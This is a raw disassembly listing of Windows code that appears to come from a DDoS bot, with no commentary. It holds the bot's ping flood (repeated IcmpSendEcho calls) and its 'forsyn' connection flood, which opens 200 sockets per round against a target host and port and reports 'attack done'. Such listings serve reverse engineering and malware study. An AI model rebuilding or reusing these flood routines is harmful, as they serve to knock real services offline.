; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+48h]
push 4
push edx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
add esi, 8Eh
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425BD0: ; CODE XREF: ___:loc_401B6Dj
push 0FFFFFFFFh
push offset loc_43B6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
push esi
mov esi, [esp+50h]
mov ebx, ecx
push edi
lea ebp, [esi+7Eh]
lea ecx, [ebx+60h]
mov [esp+54h], ebp
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
mov edi, dword_50FB08
test eax, eax
jnz loc_425D68
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
xor ebp, ebp
cmp eax, ebp
mov [esp+4Ch], ebp
jz short loc_425C3B
mov ecx, eax
call sub_401DD9
mov ebp, eax
loc_425C3B: ; CODE XREF: ___:00425C30j
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 1
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 2
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 3
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 4
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea ecx, [esi+69h]
push ecx
lea ecx, [ebp+26h]
call sub_401FBE
mov dl, [esi+93h]
mov ecx, ebp
mov [ebp+8Fh], dl
mov al, [esi+94h]
mov [ebp+90h], al
call sub_4013D4
mov ebp, [esp+54h]
loc_425D68: ; CODE XREF: ___:00425C11j
lea ecx, [ebx+8Eh]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_425EDA
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 5
jz short loc_425DAB
mov ecx, eax
call sub_401BC7
mov ebp, eax
jmp short loc_425DAD
; ---------------------------------------------------------------------------
loc_425DAB: ; CODE XREF: ___:00425D9Ej
xor ebp, ebp
loc_425DAD: ; CODE XREF: ___:00425DA9j
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 1
push ecx
mov byte ptr [ebx+11Ch], 1
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 6
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 2
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 7
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 3
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 8
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 4
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 9
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013D4
mov ebp, [esp+54h]
loc_425EDA: ; CODE XREF: ___:00425D7Dj
lea ecx, [ebx+4]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_426049
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Ah
jz short loc_425F1A
mov ecx, eax
call sub_40130C
mov ebp, eax
jmp short loc_425F1C
; ---------------------------------------------------------------------------
loc_425F1A: ; CODE XREF: ___:00425F0Dj
xor ebp, ebp
loc_425F1C: ; CODE XREF: ___:00425F18j
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push edx
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 0Bh
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 2
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Ch
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 3
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Dh
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 4
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Eh
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea eax, [esi+69h]
lea ecx, [ebp+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [ebp+8Fh], cl
mov dl, [esi+94h]
mov ecx, ebp
mov [ebp+90h], dl
call sub_4013D4
mov ebp, [esp+54h]
loc_426049: ; CODE XREF: ___:00425EECj
lea ecx, [ebx+32h]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4261F4
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Fh
jz short loc_426089
mov ecx, eax
call sub_401785
mov ebp, eax
jmp short loc_42608B
; ---------------------------------------------------------------------------
loc_426089: ; CODE XREF: ___:0042607Cj
xor ebp, ebp
loc_42608B: ; CODE XREF: ___:00426087j
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 10h
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 11h
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 12h
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 13h
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+30h]
push 5
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 14h
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+2Ch]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013D4
mov ebp, [esp+54h]
loc_4261F4: ; CODE XREF: ___:0042605Bj
lea ecx, [ebx+0EAh]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_426211
mov [ebx+11Ch], al
loc_426211: ; CODE XREF: ___:00426209j
mov ecx, [esp+44h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 4
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 1A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4263D0 proc near ; CODE XREF: sub_401A64j
var_4 = dword ptr -4
push ecx
mov edx, dword_447A44
push esi
mov esi, ecx
mov eax, [esi+91h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_4263F1
inc ecx
mov [eax+118h], ecx
loc_4263F1: ; CODE XREF: sub_4263D0+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+91h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E6EDB
call sub_40120D
sub_4263D0 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426450 proc near ; CODE XREF: sub_40130Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426450
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aPing ; "ping"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E0DC
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426450 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4264C0 proc near ; CODE XREF: sub_401F7Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4264C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+79h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0EC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4264C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426560 proc near ; CODE XREF: sub_4014C4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426560
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E0EC
lea ecx, [esi+79h]
mov [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426560 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426620: ; CODE XREF: ___:loc_4016D1j
; ___:0040217Bj
push esi
mov esi, ecx
call sub_4014C4
test byte ptr [esp+8], 1
jz short loc_426638
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426638: ; CODE XREF: ___:0042662Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402090
test [esp+4+arg_0], 1
jz short loc_426668
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426668: ; CODE XREF: sub_426650+Dj
mov eax, esi
pop esi
retn 4
sub_426650 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426680 proc near ; CODE XREF: sub_402090j
jmp sub_4014C4
sub_426680 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4266A0 proc near ; CODE XREF: sub_401A41j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4266A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_401424
mov edx, [esi+54h]
mov eax, [esi+60h]
mov ecx, [esi+5Ch]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014D3
push eax
call sub_40182F
add esp, 10h
test eax, eax
jz short loc_426764
mov edx, [esi+5Ch]
mov ecx, edi
push edx
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+40h+var_24]
push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times"
push eax
call sub_40102D
add esp, 14h
jmp short loc_42677E
; ---------------------------------------------------------------------------
loc_426764: ; CODE XREF: sub_4266A0+9Aj
mov ecx, ebx
call sub_4017E4
push eax
lea ecx, [esp+38h+var_24]
push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
push ecx
call sub_40102D
add esp, 0Ch
loc_42677E: ; CODE XREF: sub_4266A0+C2j
lea ecx, [esp+34h+var_24]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov dl, [esi+90h]
push eax
mov al, [esi+8Fh]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_4266A0 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426820 proc near ; CODE XREF: sub_401E7Ej
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
arg_0 = byte ptr 4
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFFCh
call sub_436840
push esi
push edi
push offset aIcmp_dll ; "ICMP.DLL"
nop
call near ptr 27E0B2Ch
mov esi, eax
test esi, esi
jz short loc_42688A
mov edi, dword_50F8A0
push offset aIcmpcreatefile ; "IcmpCreateFile"
push esi
call edi ; dword_50F8A0
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push esi
mov dword_50E150, eax
call edi ; dword_50F8A0
push offset aIcmpsendecho ; "IcmpSendEcho"
push esi
mov dword_50E154, eax
call edi ; dword_50F8A0
mov ecx, dword_50E150
mov dword_50E14C, eax
test ecx, ecx
jz short loc_42688A
mov edx, dword_50E154
test edx, edx
jz short loc_42688A
test eax, eax
jz short loc_42688A
mov al, [esp+0Bh]
test al, al
jz short loc_426895
loc_42688A: ; CODE XREF: sub_426820+1Bj
; sub_426820+52j ...
pop edi
xor eax, eax
pop esi
add esp, 0FFFCh
retn
; ---------------------------------------------------------------------------
loc_426895: ; CODE XREF: sub_426820+68j
mov edx, [esp+24h+arg_FFE8]
mov eax, 0FFDCh
cmp edx, eax
jle short loc_4268AC
mov [esp+24h+arg_FFE8], eax
loc_4268AC: ; CODE XREF: sub_426820+83j
push ebx
push ebp
mov ebp, [esp+2Ch+arg_FFEC]
cmp ebp, 1
jge short loc_4268BF
mov ebp, 1
loc_4268BF: ; CODE XREF: sub_426820+98j
call ecx ; dword_50E150
mov ebx, [esp+2Ch+arg_FFE4]
xor esi, esi
test ebx, ebx
mov edi, eax
jle short loc_426904
loc_4268D0: ; CODE XREF: sub_426820+E2j
mov al, byte_4D64F9
test al, al
jz short loc_426904
mov ecx, [esp+2Ch+arg_FFE8]
push ebp
lea eax, [esp+30h+var_18]
push 1Ch
push eax
mov eax, [esp+38h+arg_FFE0]
push 0
lea edx, [esp+3Ch+arg_0]
push ecx
push edx
push eax
push edi
call dword_50E14C ; IcmpSendEcho
inc esi
cmp esi, ebx
jl short loc_4268D0
loc_426904: ; CODE XREF: sub_426820+AEj
; sub_426820+B7j
push edi
call dword_50E154 ; IcmpCloseHandle
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0FFFCh
retn
sub_426820 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426960 proc near ; CODE XREF: sub_40182Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push eax
call sub_40187F
mov ecx, [esp+4+arg_C]
mov edx, [esp+4+arg_8]
push ecx
mov ecx, [esp+8+arg_4]
push edx
push ecx
push eax
call sub_401E7E
add esp, 14h
retn
sub_426960 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4269A0 proc near ; CODE XREF: sub_401BC7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4269A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aForsyn ; "forsyn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E0FC
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4269A0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426A10: ; CODE XREF: ___:00401A19j
; ___:loc_401AAFj
push esi
mov esi, ecx
call sub_4017FD
test byte ptr [esp+8], 1
jz short loc_426A28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426A28: ; CODE XREF: ___:00426A1Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426A40 proc near ; CODE XREF: sub_4017FDj
jmp sub_4014C4
sub_426A40 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426A60 proc near ; CODE XREF: sub_401366j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426A60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
mov ebx, ecx
xor eax, eax
mov ecx, offset byte_4E5DCF
mov [esp+2Ch+var_28], eax
loc_426A86: ; CODE XREF: sub_426A60+35j
cmp dword ptr [ecx], 0
jz short loc_426A97
add ecx, 78h
inc eax
cmp ecx, offset byte_4E672F
jl short loc_426A86
loc_426A97: ; CODE XREF: sub_426A60+29j
cmp eax, 13h
mov [esp+2Ch+var_28], eax
jg loc_426C49
lea eax, [eax+eax*2]
push ebp
push esi
push edi
lea eax, [eax+eax*4]
lea ecx, [ebx+3Bh]
lea ebp, ds:4E5D5Bh[eax*8]
call sub_4017E4
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov cx, [ebx+58h]
push ecx
nop
call near ptr 71AB2B66h
and eax, 0FFFFh
mov [ebp+64h], eax
mov eax, [ebx+54h]
cmp eax, 5
mov [ebp+68h], eax
jge short loc_426B00
mov dword ptr [ebp+68h], 5
loc_426B00: ; CODE XREF: sub_426A60+97j
mov edx, [ebx+50h]
mov ecx, 80h
xor eax, eax
mov edi, offset dword_50E15C
mov [ebp+6Ch], edx
lea esi, [ebx+11h]
rep stosd
mov eax, [ebx+50h]
mov ecx, [ebx+58h]
push eax
push ecx
lea ecx, [ebx+3Bh]
lea edi, [ebx+26h]
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
mov ecx, edi
call sub_4014D3
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D60B5
call sub_401848
mov ecx, [esp+50h+var_1C]
add esp, 24h
push offset dword_50E35C
push 0
push ecx
push offset sub_4012C1
push 0
push 0
nop
call near ptr 27809E2h
test eax, eax
mov dword_50E360, eax
jz short loc_426B9B
push offset dword_446F74
push 5
push eax
push 0
push offset dword_50E15C
call sub_4013E8
add esp, 14h
mov [ebp+70h], eax
jmp short loc_426BCB
; ---------------------------------------------------------------------------
loc_426B9B: ; CODE XREF: sub_426A60+11Dj
mov ecx, esi
call sub_4017E4
push eax
push offset aSErrorCreating ; "%s: error creating threads"
mov ecx, edi
call sub_4014D3
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_426BCB: ; CODE XREF: sub_426A60+139j
lea ecx, [esp+38h+var_24]
call sub_401424
mov ecx, [ebx+58h]
mov [esp+38h+var_4], 0
push ecx
lea ecx, [ebx+3Bh]
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
lea edx, [esp+44h+var_24]
push offset aSAttack@SDDone ; "%s: attack@%s:%d done."
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+38h+var_24]
call sub_4017E4
push eax
push offset aS ; "%s"
mov ecx, edi
call sub_4014D3
mov cl, [ebx+8Fh]
push eax
mov al, [ebx+90h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
loc_426C49: ; CODE XREF: sub_426A60+3Ej
mov ecx, [esp+2Ch+var_C]
pop ebx
mov large fs:0, ecx
add esp, 28h
retn
sub_426A60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426CE0 proc near ; CODE XREF: sub_4012C1j
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = byte ptr -320h
arg_0 = dword ptr 4
sub esp, 338h
mov eax, [esp+338h+arg_0]
push ebp
push esi
mov esi, 1
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ebp, ds:4E5D5Bh[eax*8]
xor eax, eax
mov [esp+340h+var_334], eax
mov word ptr [esp+340h+var_334], 2
mov [ebp+74h], esi
mov cx, [ebp+64h]
mov [esp+340h+var_330], eax
push ecx
mov [esp+344h+var_32C], eax
mov [esp+344h+var_328], eax
call near ptr 71AB2B66h
nop
push ebp
mov [esp+344h+var_324], esi
mov word ptr [esp+344h+var_334+2], ax
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_426D76
push ebp
nop
call near ptr 71AB4FD4h
xor edx, edx
cmp eax, edx
jnz short loc_426D6F
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop esi
pop ebp
lea eax, [ecx+ecx*4]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D6775[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
; ---------------------------------------------------------------------------
loc_426D6F: ; CODE XREF: sub_426CE0+68j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_426D76: ; CODE XREF: sub_426CE0+5Bj
mov [esp+340h+var_330], eax
mov eax, [ebp+6Ch]
push ebx
push edi
test eax, eax
mov [esp+348h+var_338], 0
jle loc_426E26
mov ebx, dword_50FC30
loc_426D95: ; CODE XREF: sub_426CE0+140j
mov al, byte_4D64F9
test al, al
jz loc_426E26
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426DAB: ; CODE XREF: sub_426CE0+EFj
push 0
push 1
push 2
call ebx ; dword_50FC30
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_426DCB
lea ecx, [esp+348h+var_324]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB4519h
loc_426DCB: ; CODE XREF: sub_426CE0+D8j
add esi, 4
dec edi
jnz short loc_426DAB
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426DDA: ; CODE XREF: sub_426CE0+10Ej
mov eax, [esi]
lea edx, [esp+348h+var_334]
push 10h
push edx
push eax
nop
call near ptr 71AB406Ah
add esi, 4
dec edi
jnz short loc_426DDA
mov ecx, [ebp+68h]
push ecx
call near ptr 2840000h
nop
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426E03: ; CODE XREF: sub_426CE0+130j
mov edx, [esi]
push edx
nop
call near ptr 71AB9639h
add esi, 4
dec edi
jnz short loc_426E03
mov eax, [esp+348h+var_338]
mov ecx, [ebp+6Ch]
inc eax
cmp eax, ecx
mov [esp+348h+var_338], eax
jl loc_426D95
loc_426E26: ; CODE XREF: sub_426CE0+A9j
; sub_426CE0+BCj
xor edx, edx
pop edi
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop ebx
pop esi
lea eax, [ecx+ecx*4]
pop ebp
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D6775[eax*2], edx
